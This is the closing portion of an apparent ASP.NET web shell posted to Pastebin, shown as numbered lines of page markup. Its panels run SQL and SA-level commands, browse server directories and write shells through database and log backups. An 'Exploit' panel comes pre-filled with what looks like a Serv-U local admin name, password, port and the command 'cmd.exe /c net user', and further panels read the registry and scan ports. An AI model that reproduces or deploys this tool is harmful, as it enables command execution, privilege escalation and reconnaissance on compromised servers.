  1490.             <asp:Button ID="SQL_SumbitButton" runat="server" Text="Sumbit" OnClick="SQL_SumbitButton_Click" /><hr />
  1491.             <asp:Panel ID="Bin_DBmenuPanel" runat="server" Width="759px" Visible="False">
  1492.                 <asp:Button ID="Bin_BDButton" runat="server" Text="DataBase" OnClick="Bin_BDButton_Click" />
  1493.                 <asp:Button ID="Bin_SACMDButton" runat="server" Text="SA_Exec" OnClick="Bin_SACMDButton_Click" />
  1494.                 <asp:Button ID="Bin_DirButton" runat="server" Text="SQL_Dir" OnClick="Bin_DirButton_Click" /><br /><hr /><div style="text-align: left">
  1495.                 <asp:Label ID="Bin_DBinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label></div></asp:Panel>
  1496.             <asp:Panel ID="Bin_AccPanel" runat="server" Height="50px" Width="759px" EnableViewState="False">
  1497.                <asp:Label ID="Bin_AccinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label><br />
  1498.             <asp:TextBox ID="Bin_DBstrTextBox" runat="server" TextMode="MultiLine" Width="569px"></asp:TextBox>
  1499.             <asp:Button ID="Bin_ExecButton" runat="server" OnClick="Bin_ExecButton_Click" Text="Exec" />
  1500.                 <asp:Button ID="Bin_SAexecButton" runat="server" Text="SA_Exec" OnClick="Bin_SAexecButton_Click" /><br />
  1501.                 <div style="text-align:left">
  1502.                 <asp:Label ID="Bin_ResLabel" runat="server" ></asp:Label></div></asp:Panel>
  1503.             <asp:Panel ID="Bin_dirPanel" runat="server" Visible="False" Width="759px">
  1504.                 Path :
  1505.                 <asp:TextBox ID="Bin_DirTextBox" runat="server" Width="447px">c:\</asp:TextBox>
  1506.                 <br />
  1507.                 <asp:Button ID="Bin_listButton" runat="server" OnClick="Bin_listButton_Click" Text="Dir" />&nbsp;<asp:Button
  1508.                     ID="Bin_dbshellButton" runat="server" OnClick="Bin_dbshellButton_Click" Text="Bak_DB" />
  1509.                 <asp:Button ID="Bin_LogshellButton" runat="server" Text="Bak_LOG" OnClick="Bin_LogshellButton_Click" /><hr /></asp:Panel>
  1510.             <br /><br />
  1511.             <div style="overflow:scroll; text-align:left; width:770px;" id="Bin_Scroll" runat="server" visible="false" >
  1512.          <asp:DataGrid ID="Bin_DataGrid" runat="server" Width="753px" PageSize="20" CssClass="Bin_DataGrid" OnItemDataBound="Item_DataBound" AllowPaging="True" OnPageIndexChanged="Bin_DBPage" OnItemCommand="Item_Command">
  1513.              <PagerStyle Mode="NumericPages" Position="TopAndBottom" />
  1514. </asp:DataGrid></div>
  1515.         </asp:Panel>
  1516.         <asp:Panel ID="Bin_SuPanel" runat="server" Width="763px" >
  1517.             <hr />
  1518.             Name :
  1519.             <asp:TextBox ID="Bin_SunameTextBox" runat="server">localadministrator</asp:TextBox>
  1520.             Pass :
  1521.             <asp:TextBox ID="Bin_SupassTextBox" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
  1522.             Port :
  1523.             <asp:TextBox ID="Bin_SuportTextBox" runat="server">43958</asp:TextBox><br />
  1524.             CMD :
  1525.             <asp:TextBox ID="Bin_SucmdTextBox" runat="server" Width="447px">cmd.exe /c net user</asp:TextBox><br />
  1526.             <asp:Button ID="Bin_SuexpButton" runat="server" Text="Exploit" OnClick="Bin_SuexpButton_Click" /><br />
  1527.             <div style="text-align:left">
  1528.             <hr />
  1529.             <asp:Label ID="Bin_SuresLabel" runat="server"></asp:Label>
  1530.             </div>
  1531.             </asp:Panel>
  1532.         <asp:Panel ID="Bin_IISPanel" runat="server" Width="763px"><div style="text-align:left">
  1533.             <hr />
  1534.             <asp:Label ID="Bin_iisLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label>&nbsp;</div></asp:Panel>
  1535.         <asp:Panel ID="Bin_RegPanel" runat="server" Width="763px"><hr /><div style="text-align:left">
  1536.             KEY :&nbsp; &nbsp;<asp:TextBox ID="Bin_KeyTextBox" runat="server" Width="595px">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox><br />
  1537.             VALUE :
  1538.             <asp:TextBox ID="Bin_ValueTextBox" runat="server" Width="312px">ComputerName</asp:TextBox>&nbsp;<asp:Button
  1539.                 ID="Bin_RegreadButton" runat="server" Text="Read" OnClick="Bin_RegreadButton_Click" /><br />
  1540.             <asp:Label ID="Bin_RegresLabel" runat="server"></asp:Label><hr /></div></asp:Panel>
  1541.         <asp:Panel ID="Bin_PortPanel" runat="server" Width="763px">
  1542.             <hr /><div style="text-align:left">
  1543.                 IP :
  1544.                 <asp:TextBox ID="Bin_ScanipTextBox" runat="server" Width="194px">127.0.0.1</asp:TextBox>
  1545.                 PORT :
  1546.             <asp:TextBox ID="Bin_PortsTextBox" runat="server" Width="356px">21,80,1433,3306,3389,4899,5631,43958,65500</asp:TextBox>
  1547.                 <asp:Button ID="Bin_ScancmdButton" runat="server" Text="Scan" OnClick="Bin_ScancmdButton_Click" /><br />
  1548.                 <asp:Label ID="Bin_ScanresLabel" runat="server"></asp:Label></div><hr /></asp:Panel>
  1549.        
  1550.     </div></form>
  1551. </body>
  1552. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top